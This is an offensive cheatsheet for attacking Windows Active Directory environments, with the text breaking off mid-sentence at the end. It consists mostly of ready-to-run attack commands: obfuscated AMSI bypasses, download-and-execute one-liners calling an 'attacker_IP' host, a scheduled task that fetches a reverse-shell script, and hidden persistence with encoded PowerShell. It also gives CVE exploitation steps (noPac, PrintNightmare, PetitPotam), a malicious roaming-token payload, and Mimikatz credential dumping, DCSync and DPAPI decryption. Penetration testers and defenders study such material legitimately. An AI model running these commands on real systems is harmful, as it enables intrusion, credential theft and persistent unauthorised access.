# Microsoft Different cheatsheets useful in Windows and Active Directory environment # Active Directory This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter [**@BlWasp_**](https://twitter.com/BlWasp_). I will try to put as many links as possible at the end of the page to direct to more complete resources. ## Misc ### Internal audit mindmap [Insane mindmap](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg) by [@M4yFly](https://twitter.com/M4yFly). ### Bypass AMSI ```powershell #Downgrade PowerShell powershell -v 2 -c "<...>" #Classic sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) #Base64 [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true) #Force AMSI error $w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static') $field.SetValue($null,$true) #On PowerShell 6 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` ### Create PowerShell credentials ```powershell $pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $pass) ``` ### Decipher Secure-String With the corresponding AES key ```powershell $aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159) $secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey $decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject) $decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted) $decrypted ``` ### Bypass execution policy ```powershell #By spawning a new PowerShell session in the current one powershell -nop -exec bypass #By disabling the execution policy in the registry Set-ExecutionPolicy -ExecutionPolicy bypass -Scope LocalMachine -Force #Load a PowerShell module without confirmation prompt Import-Module ./evil.psm1 -Force ``` ### Execution context / AppLocker #### AppLocker ```powershell #Get AppLocker policy Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections ``` By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writeable by any users. #### Bypass Constrained Language Mode Import `BypassCLM.exe` and `Mono.Options.dll` in a directory where the AppLocker policy authorize the execution, then ```powershell #Get language mode $ExecutionContext.SessionState.LanguageMode #To bypass with PowerShell 6 pwsh .\BypassCLM.exe -c "iex (new-object net.webclient).downloadstring('http://192.168.50.44/Invoke-HelloWorld.ps1')" ``` ### Port forwarding We can contact a machine, and this one can contact another machine, but we can't contact the second machine directly from our primary machine\ On the "central" machine, all the hit on the port 80 or 4545 will be forward to the `connectaddress` on the specified port : ```powershell #Forward the port 4545 for the reverse shell, and the 80 for the http server for example netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545 netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80 #Correctly open the port on the machine netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80 netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80 netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545 netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545 ``` ### Run domain commands from a non domain joined computer ```batch runas /netonly /user:DOMAIN\User1 cmd.exe ``` ## Initial Access What to do when you are plugged on the network without creds. * NTLM authentication capture on the wire with [Responder or Inveigh](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-responder-%2F-inveigh) poisoning, maybe in NTLMv1 ? * [Relay the NTLM authentications](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-ntlm-and-kerberos-re) to interesting endpoints, be careful to the signing * SMB socks to list/read/write the shares * LDAP to dump the directory * LDAPS (or maybe SMB if signing not required) to add a computer account * ... * ARP poisoning with **bettercap**, can be used to poison ARP tables of targets and receive authenticated requests normally destinated to other devices. Interesting scenarios can be found [here](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/arp-poisoning#scenarios-examples). * By sniffing everything on the wire with Wireshark, some secrets can be found with **PCredz**. First, run bettercap with this config file: ```bash # quick recon of the network net.probe on # set the ARP poisoning set arp.spoof.targets set arp.spoof.internal true set arp.spoof.fullduplex true # control logging and verbosity events.ignore endpoint events.ignore net.sniff.mdns # start the modules arp.spoof on net.sniff on ``` ```bash sudo ./bettercap --iface --caplet spoof.cap ``` Then sniff with Wireshark. When it is finish, save the trace in a `.pcap` file and extract the secrets: ```bash python3 ./Pcredz -f extract.pcap ``` * [Poison the DHCPv6](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-mitm6) answer to receive NTLM or Kerberos authentication * NTLM auths can be relayed with `ntlmrelayx` * Kerberos auths can be relayed with `krbrelayx` to HTTP endpoints (ADCS, SCCM AdminService API) * Search for a domain account * Look for SMB and LDAP null bind * With SMB login bruteforce * With Kerbrute bruteforce Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over `smb_login` is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts! ```bash ./kerbrute userenum -domain domain.local users.txt ``` Test for the Top1000 with `login = password` Possible other passwords: ``` (empty) password P@ssw0rd ``` * Look for juicy [CVEs](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-cves) * Search for devices like printers, routers, or similar stuff with default creds In case a printer (or something similar) has an LDAP account, but use the `SASL` authentication family instead of `SIMPLE`, the classic LDAP passback exploitation with a `nc` server will not be sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak `PLAIN` and `LOGIN` protocols. [This Docker](https://github.com/pedrojosenavasperez/ldap-passback-docker) permits to operate with weak protocols. ```bash docker buildx build -t ldap-passback . docker run --rm -ti -p 389:389 ldap-passback ``` In parallel, listen with tshark: ```bash tshark -i any -f "port 389" \ -Y "ldap.protocolOp == 0 && ldap.simple" \ -e ldap.name -e ldap.simple -Tjson ``` ## CVEs ### AD oriented * SPNEGO RCE (CVE-2022-37958) - No public POC for the moment * [PetitPotam pre-auth](https://github.com/topotam/PetitPotam) (CVE-2022-26925) If the target is not patched, this CVE can be exploited without creds. ```powershell ./PetitPotam.exe -pipe all ``` * [NoPac](https://github.com/cube0x0/noPac) (a.k.a. SamAccountName Spoofing, CVE-2021-42278 and CVE-2021-42287) To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one. ```powershell #Scan for the vuln .\noPac.exe scan -domain domain.local -user user1 -pass 'password' #Exploit it and retrieve a ST for the DC .\noPac.exe -domain domain.local -user user1 -pass 'password' /dc dcVuln.domain.local /mAccount evilComputer /mPassword 'evilPass!' /service cifs /ptt ``` * [PrintNightmare](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) (CVE-2021-1675 / CVE-2021-34527) ```powershell #Load and execute a DLL hosted on a SMB server on the attacker machine ./SharpPrintNightmare.exe '\\\smb\addUser.dll' '\\' ``` * [Zerologon](https://www.thehacker.recipes/ad/movement/netlogon/zerologon#password-change-disruptive) (CVE-2020-1472) The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link. * EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708) The exploits in the Metasploit framework are good for these two CVEs. ```bash #EternalBlue msf6 exploit(windows/smb/ms17_010_psexec) > #Blue Keep msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > ``` * SMBGhost (CVE-2020-0796) **Be careful, this exploit is pretty unstable and the risk of BSOD is really important.** The exploit in the Metasploit framework is good for this CVE. ```bash msf6 exploit(windows/smb/cve_2020_0796_smbghost) > ``` * [RC4-MD4 downgrade](https://github.com/Bdenneu/CVE-2022-33679) (CVE-2022-33679) To exploit this CVE the **RC4-MD4** encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target. ```bash ./CVE-2022-33079.py -dc-ip domain.local/ ``` * [Credentials Roaming](https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming?s=33) (CVE-2022-30170) ```powershell # Fetch current user object $user = get-aduser -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp') # Install malicious Roaming Token (spawns calc.exe) $malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865" $attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)" Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose # Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed $new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]] Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose ``` * [Bronze Bit](https://www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-overview) (CVE-2020-17049) To exploit this CVE, a controlled service account with constrained delegation to the target account is needed. ```powershell ./Rubeus.exe s4u /bronzebit /user: /rc4: /dc:dc.domain.local /impersonateuser:Administrator /domain:domain.local /altservice:cifs/target.domain.local /nowrap ``` * [MS14-068](https://tools.thehacker.recipes/impacket/examples/goldenpac.py) ```bash goldenPac.py 'domain.local'/'user1':'password'@ ``` ### Targeting Exchange server * ProxyNotShell / ProxyShell / ProxyLogon (CVE-2022-41040 & CVE-2022-41082 / CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 / CVE-2021-26855 & CVE-2021-27065) The exploits in the Metasploit framework are good for these three CVEs. ```bash msf6 exploit(windows/http/exchange_proxynotshell_rce) > msf6 exploit(windows/http/exchange_proxyshell_rce) > msf6 exploit(windows/http/exchange_proxylogon_rce) > ``` * [CVE-2023-23397](https://github.com/Trackflaw/CVE-2023-23397) This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a `.msg` file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target. ```powershell python3.exe CVE-2023-23397.py --path '\\\' ``` Before sending the email, run Inveigh to intercept the NTLM hash. ### For local privesc * [CVE-2022-41057](https://bugs.chromium.org/p/project-zero/issues/detail?id=2346) * [KrbRelayUp](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-krbrelayup) * [SpoolFool](https://github.com/ly4k/SpoolFool) (CVE-2022-21999) ```powershell ./SpoolFool.exe -dll adUser.dll #In PowerShell Import-Module .\SpoolFool.ps1 Invoke-SpoolFool -dll adUser.dll ``` * [PrintNightmare](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) (CVE-2021-1675 / CVE-2021-34527) ```powershell ./SharpPrintNightmare.exe ./adUser.dll ``` * [HiveNightmare](https://github.com/WiredPulse/Invoke-HiveNightmare) (CVE-2021-36934) ```powershell ./Invoke-HiveNightmare.ps1 -path ./HiveDumps ``` ## Domain Enumeration ### Domain objects #### Current domain ```powershell #PowerView Get-NetDomain #AD Module Get-ADDomain #Domain SID Get-DomainSID (Get-ADDomain).DomainSID #Domain policy (Get-DomainPolicy)."system access" ``` #### Another domain ```powershell #PowerView Get-NetDomain -Domain domain.local #AD Module Get-ADDomain -Identity domain.local ``` ### Domain controller #### Current domain ```powershell #PowerView Get-NetDomainController #AD Module Get-ADDomainController Get-NetDomainController -Domain domain.local Get-ADDomainController -DomainName domain.local -Discover ``` ### Users enumeration #### List users ```powershell #PowerView Get-NetUser Get-NetUser -Identity user1 #AD Module Get-ADUser -Filter * -Properties * Get-ADUser -Identity user1 -Properties * ``` #### User's properties ```powershell #AD Module Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}} ``` #### Search for a particular string in attributes ```powershell Find-UserField -SearchField Description -SearchTerm "password" Get-ADUser -Filter 'Description -like "*password*"' -Properties Description | select name,Description ``` #### Actively logged users on a machine Needs local admin rights on the target ```powershell Get-NetLoggedon -ComputerName ``` #### Locally logged users on a machine Needs remote registry on the target - started by-default on server OS ```powershell Get-LoggedonLocal -ComputerName ``` #### Last logged user on a machine Needs administrative rights and remote registry on the target ```powershell Get-LastLoggedOn -ComputerName ``` ### User hunting #### Find machine where the user has admin privs ```powershell Find-LocalAdminAccess -Verbose ``` If the RPC or SMB ports are blocked, see `Find-WMILocalAdminAccess.ps1` and `Find-PSRemotingLocalAdminAccess.ps1` to use WMI or PowerShell Remoting #### Find local admins on the domain machines ```powershell Invoke-EnumerateLocalAdmin -Verbose ``` #### Find machines where specific users or groups have sessions ```powershell Invoke-UserHunter #Admins Invoke-UserHunter -GroupName "" ``` #### Check local admin access for the current user where the targets are found ```powershell Invoke-UserHunter -CheckAccess ``` ### Computers enumeration ```powershell #PowerView Get-NetComputer Get-NetComputer -OperatingSystem "*Server 2016*" Get-NetComputer -FullData #AD Module Get-ADComputer -Filter * | select Name Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem Get-ADComputer -Filter * -Properties DNSHostName | %{TestConnection -Count 1 -ComputerName $_.DNSHostName} Get-ADComputer -Filter * -Properties * ``` ### Groups enumeration #### Groups in the current domain ```powershell #PowerView Get-NetGroup Get-NetGroup -FullData #AD Module Get-ADGroup -Filter * | select Name Get-ADGroup -Filter * -Properties * ``` #### Search for a particular string in attributes ```powershell #PowerView Get-NetGroup *admin* #AD Module Get-ADGroup -Filter 'Name -like "*admin*"' | select Name ``` #### All users in a specific group ```powershell #PowerView Get-NetGroupMember -GroupName "" -Recurse #AD Module Get-ADGroupMember -Identity "" -Recursive ``` #### All groups of an user ```powershell #PowerView Get-NetGroup -MemberIdentity "user1" #AD Module Get-ADPrincipalGroupMembership -Identity "user1" ``` #### Local groups enumeration ```powershell Get-NetLocalGroup -ComputerName -ListGroups ``` #### Members of local groups ```powershell Get-NetLocalGroup -ComputerName -Recurse ``` ### Shares / Files #### Find shares on the domain ```powershell Invoke-ShareFinder -Verbose ``` #### Sensitive files on the domain ```powershell Invoke-FileFinder -Verbose Invoke-FileFinder -Verbose -Include "*pass*" ``` Or with Snaffler `snaffler.exe -s - snaffler.log` ... (: ```powershell #Snaffle all the computers in the domain ./Snaffler.exe -d domain.local -c -s #Send the result to a file ./Snaffler.exe -d domain.local -c -o res.log #Snaffle specific computers ./Snaffler.exe -n computer1,computer2 -s #Snaffle a specific directory ./Snaffler.exe -i C:\ -s ``` #### Find all fileservers of the domain ```powershell Get-NetFileServer ``` ### GPO enumeration #### List of GPO in the domain ```powershell #PowerView Get-NetGPO #GPOs applied to a computer Get-NetGPO -ComputerName #AD Module Get-GPO -All #(GroupPolicy module) Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html #(Provides RSoP) ``` #### Get GPO that modify local group via Restricted Groups ```powershell Get-NetGPOGroup ``` #### Users which are in a local group of a machine using GPOs ```powershell Find-GPOComputerAdmin -Computername ``` #### Machine where an user is member of a local group using GPOs ```powershell Find-GPOLocation -Identity user1 -Verbose ``` ### Organisation Units #### OUs of the domain ```powershell Get-NetOU -FullData Get-ADOrganizationalUnit -Filter * -Properties * ``` #### Computers within an OU ```powershell Get-NetComputer | ? { $_.DistinguishedName -match "OU=" } | select DnsHostName ``` #### GPO applied on an OU / Read GPO from the GP-Link attribut from `Get-NetOU` ```powershell Get-NetGPO -GPOname "{}" Get-GPO -Guid #(GroupPolicy module) ``` ### DACLs #### All ACLs associated to an object (inbound) ```powershell Get-ObjectAcl -Identity user1 -ResolveGUIDs (Get-ObjectAcl | Where-Object {$_.ObjectSid -match ""}) ``` #### Outbound ACLs of an object These are the rights the object has in the AD ```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match ""} Get-ObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -match "user1"} ``` #### ACLs associated to a specific path ```powershell Get-PathAcl -Path "\\dc.domain.local\sysvol" ``` ### Trusts #### Map trusts ```powershell Invoke-MapDomainTrust ``` #### Domain trusts for the current domain ```powershell #PowerView Get-NetDomainTrust #Find potential external trust #AD Module Get-ADTrust ``` ### Forest #### Details about the current forest ```powershell #PowerView Get-NetForest Get-NetForest -Forest domain.local #AD Module Get-ADForest Get-ADForest -Identity domain.local ``` #### All domains in the current forest ```powershell #PowerView Get-NetForestDomain Get-NetForestDomain -Forest domain.local #AD Module (Get-ADForest).Domains ``` #### Global catalogs of the current forest ```powershell #PowerView Get-NetForestCatalog Get-NetForestCatalog -Forest domain.local #AD Module Get-ADForest | select -ExpandProperty GlobalCatalogs ``` #### Forest trusts ```powershell #PowerView Get-NetForestTrust Get-NetForestTrust -Forest domain.local #AD Module Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"' ``` ## BloodHound / SharpHound / SOAPHound ### Basic usage ```powershell # Default collection SharpHound.exe # All collection excepted GPOLocalGroup with all string properties SharpHound.exe --CollectionMethod All --CollectAllProperties #Only collect from the DC, doesn't query the computers (more stealthy) SharpHound.exe --CollectionMethod DCOnly #Only collect user sessions and LocalGroup from computers, not the DC SharpHound.exe --CollectionMethod ComputerOnly ``` ### Stealth usage ```powershell #Stealth collection soutions SharpHound.exe --CollectionMethod ComputerOnly --Stealth SharpHound.exe --ExcludeDomainControllers #Encrypt the output archive with a random password SharpHound.exe --EncryptZip ``` ### Loop collection Useful for user session collection for example. SharpHound will run the collection regularly and output a new zip file after each loop. ```powershell #It will loop during 2h by default SharpHound.exe --CollectionMethod Session --Loop #Loop during 5h SharpHound.exe --CollectionMethod Session --Loop --Loopduration 05:00:00 ``` ### From a non domain joined computer * Configure the DNS of the machine to be the DC * Spawn a shell as a domain user * Verify you’ve got valid domain authentiation by using the `net` binary * Run SharpHound, using the `-d` flag to specify the AD domain you want to collect information from. You can also use any other flags you wish. ```batch runas /netonly /user:DOMAIN\User1 cmd.exe net view \\domain\ SharpHound.exe -d domain.local ``` ### Interesting Neo4j queries #### Users with SPNs ```sql MATCH (u:User {hasspn:true}) RETURN u ``` #### AS-REP Roastable users ```sql MATCH (u:User {dontrepreauth:true}) RETURN u ``` #### Computers AllowedToDelegate to other computers ```sql MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p ``` #### Shortest path from Kerberoastable user ```sql MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p ``` #### Computers in Unconstrained Delegations ```sql MATCH (c:Computer {unconsraineddelegation:true}) RETURN c ``` #### Rights against GPOs ```sql MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p ``` #### Potential SQL Admins ```sql MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p ``` #### LAPS Machine with LAPS enabled ```sql MATCH (c:Computer {haslaps:true}) RETURN c ``` Users with read LAPS rights against "LAPS machines" ```sql MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p ``` ### SOAPHound A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound. ```powershell #Build cache SOAPHound.exe --showstats -c c:\temp\cache.txt #Collect data SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output #For larger domain, if timeout errors are encountered SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output --autosplit --threshold 1000 #Collect ADCS data SOAPHound.exe -c c:\temp\cache.txt --certdump -o c:\temp\bloodhound-output #Dump ADIDNS data SOAPHound.exe --dnsdump -o c:\temp\dns-output ``` ### AD Miner [AD Miner](https://github.com/Mazars-Tech/AD\_Miner) is another solution to display BloodHound data into a web based GUI. It is usefull for its **Smartest paths** feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a `ExecuteDCOM` edge). ## Local Privesc ### PowerUp ```powershell #All checks Invoke-AllChecks #Get services with unquoted paths and a space in their name. Get-UnquotedService -Verbose #Get services where the current user can write to its binary path or change arguments to the binary Get-ModifiableServiceFile -Verbose #Get the services whose configuration current user can modify. Get-ModifiableService -Verbose #DLL Hijacking Find-ProcessDLLHijack Find-PathDLLHijack ``` ### Other enumeration tools ```powershell #PrivescCheck: https://github.com/itm4n/PrivescCheck . .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended .\beRoot.exe .\winPEAS.exe .\Seatbelt.exe -group=all -full #Privesc: https://github.com/enjoiz/Privesc Invoke-PrivEsc ``` ### Always Install Elevated ```batch run msiexec /i BeaconInstaller.msi /q /n ``` ### Impersonation attacks / Potatoes [Full article here](https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all) ### KrbRelayUp #### With RBCD ```powershell ./KrbRelayUp.exe relay -Domain domain.local -CreateNewComputerAccount -ComputerName test$ -ComputerPassword Password123! ./KrbRelayUp.exe spawn -d domain.local -cn test$ -cp Password123! ``` #### With ShadowCreds ```powershell ./KrbRelayUp.exe full -m shadowcred --ForceShadowCred ``` #### With ADCS ```powershell ./KrbRelayUp.exe full -m adcs ``` ### DavRelayUp Similar to KrbRelayUp, but relay from WebDAV to LDAP. ```powershell #Create a new computer account to perform RBCD ./DavRelayUp.exe -c #Use an existing computer account ./DavRelayUp.exe -cn -cp #Impersonate another local user than Administrator ./DavRelayUp.exe -c -i user1 #Start WebDAV on another port than the default 55555 ./DavRelayUp.exe -c -p 1234 ``` ### Massive local privesc cheatsheet [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) ### Escape JEA #### Abuse an allowed function ```powershell #Look at allowed functions Get-Command #Look at the function code (Get-Command ).Definition #Or gcm -show ``` For example if it is possible to control the `$param` parameter here `$ExecutionContext.InvokeCommand.ExpandString($param)`, it is possible to execute some code by passing this as argument : `'$(powershell.exe -c "iEx (New-Object System.Net.WebClient).DownloadString(''http://attacker_IP/Invoke-HelloWorld.ps1'')")'` #### Function creation If the JEA allowed to create a new function it can be abused ```powershell Invoke-Command -Session $sess -ScriptBlock {function blackwasp {iex (new-object net.webclient).downloadstring('http://attacker_IP/Invoke-HelloWorld.ps1')}} Invoke-Command -Session $sess -ScriptBlock {blackwasp} ``` #### With another WinrRM client Sometimes this WinRM in Python can bypass the JEA ```python import winrm s = winrm.Session('target_IP', auth=('administrator', 'password')) r = s.run_cmd('powershell -c "IEX((New-Object System.Net.WebClient).DownloadString(\'http://attacker_IP/Invoke-HelloWorld.ps1\'))"') print r.status_code print r.std_out print r.std_err ``` ## Local Persistence ### SharPersist `SharPersist.exe` can be used for local persistence on a workstation. Common userland persistences: * HKCU / HKLM Registry Autoruns * Scheduled Tasks * Startup Folder ```powershell #Convert command to execute to base64 $str = 'IEX ((new-object net.webclient).downloadstring("http://attacker_ip/a"))' [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str)) #Via scheduled task .\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc " -n "Updater" -m add -o hourly #Via startup folder .\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc " -f "UserEnvSetup" -m add #Via registry key, first create a .exe beacon named updater.exe, then .\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add ``` ### LAPS persistence To prevent a machine to update its LAPS password, it is possible to set the update date in the futur. ```powershell Set-DomainObject -Identity -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"} ``` ### JEA persistence Allows every commands to a user on a machine. ```powershell Set-JEAPermissions -ComputerName dc -SamAccountName user1 -Verbose Enter-PSSession -ComputerName dc -ConfigurationName microsoft.powershell64 ``` ## Lateral Movement ### PowerShell remoting #### From one computer to other ones ```powershell $sess = New-PSSession -ComputerName Enter-PSSession -Session $sess #Provide PS credentials New-PSSession -Credential $cred #To many computers Invoke-Command -Credential $cred -ComputerName (Get-Content ./listServers.txt) ``` #### Execute scripts ```powershell #Script block Invoke-Command -Scriptblock {Get-Process} -ComputerName Server01, Server02 #Script from file Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -ComputerName Server01 ``` #### Execute locally loaded function to remote Can be usefull to bypass some restricions ```powershell Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01, Server02 #With arguments Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01 -ArgumentList DumpCreds ``` #### Item copy ```powershell Copy-Item -ToSession $sess -Path -Destination ``` ### Scheduled task creation Create a scheduled task on a remote machine, with sufficient rights ```powershell #Creation schtasks /create /S .domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http:///Invoke-PowerShellTcp.ps1''')'" #Task execution schtasks /Run /S .domain.local /TN "STCheck" ``` ### Credentials gathering / Mimikatz #### Dump creds ```powershell #Dump credentials on a local machine. Invoke-Mimikatz -DumpCreds Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"' #Dump credentials on multiple remote machines. Invoke-Mimikatz -DumpCreds -ComputerName @("Server01","Server02") #Make a DCSync attack on all the users Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all"' #Retrieve NT hashes via Key List Attack on a RODC #First, forge a RODC Golden Ticket .\Rubeus.exe golden /rodcNumber: /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256: /user:user1 /id: /domain:domain.local /sid: #Then, request a ST and retrieve the NT hash in the TGS-REP .\Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:ticket.kirbi /service:krbtgt/domain.local #Certsync - retrieve the NT hashes of all the users with PKINIT #Backup the private key and the certificate of the Root CA, and forge Golden Certificates for all the users #Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes with UnPAC-The-Hash certsync -u administrator -p 'password' -d domain.local -dc-ip #Provide the CA .pfx if it has been obtained with another way certsync -u administrator -p 'password' -d domain.local -dc-ip -ca-pfx CA.pfx ``` Many techniques to dump LSASS : [https://redteamrecipe.com/50-Methods-For-Dump-LSASS/](https://redteamrecipe.com/50-Methods-For-Dump-LSASS/) #### Credentials Vault & DPAPI Credential manager blobs are stored in `C:\Users\\AppData\Local\Microsoft\Credentials` List with Mimikatz: ```powershell Invoke-Mimikatz -Command '"vault::list"' ``` To decrypt the creds, the DPAPI master encryption key must be retrieved. The key GUID can be retrieved with Mimikatz (the filed `guidMasterKey` is the one): ```powershell Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\"' ``` The GUID can be used to retrieve the key on the DC via a RPC call by providing the full path: ```powershell Invoke-Mimikatz -Command '"dpapi::masterkey /in:C:\Users\\AppData\Roaming\Microsoft\Protect\\ /rpc"' ``` Now it possible to decipher the creds with the key: ```powershell Invoke-Mimikatz -Command '"dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\ /masterkey:"' ``` [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) is also a pretty good tool for DPAPI operations. Here in an elevated context to decrypt machine credential files and vaults: ```powershell .\SharpDPAPI.exe machinecredentials .\SharpDPAPI.exe machinevaults ``` Or here, to decrypt user's master keys with a domain backup key, and use them to decipher credential files: ```powershell .\SharpDPAPI.exe masterkeys /pvk:key.pvk .\SharpDPAPI.exe credentials {}: {}: ``` #### Lazagne To retrieve maximum creds. ```batch ./lazagne.exe all ``` #### Credentials in third softwares Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on. The more complete **ThievingFox** approach is presented in the Active Directory - Python edition cheatsheet. ```powershell #KeePass with KeeThief Import-Module KeeThief.ps1 Get-KeePassDatabaseKey -Verbose #RDP creds with Mimikatz #Client side Invoke-Mimikatz -Command '"ts::mstsc"' #Server side Invoke-Mimikatz -Command '"ts::logonpasswords"' #Credentials in Veeam database ./SharpVeeamDecryptor.exe ``` #### Bypass RunAsPPL Check if RunAsPPL is enabled in the registry. Look at `HKLM\SYSTEM\CurrentControlSet\Control\Lsa` ```batch mimikatz # privilege::debug mimikatz # !+ mimikatz # !processprotect /process:lsass.exe /remove mimikatz # misc::skeleton mimikatz # !- ``` If 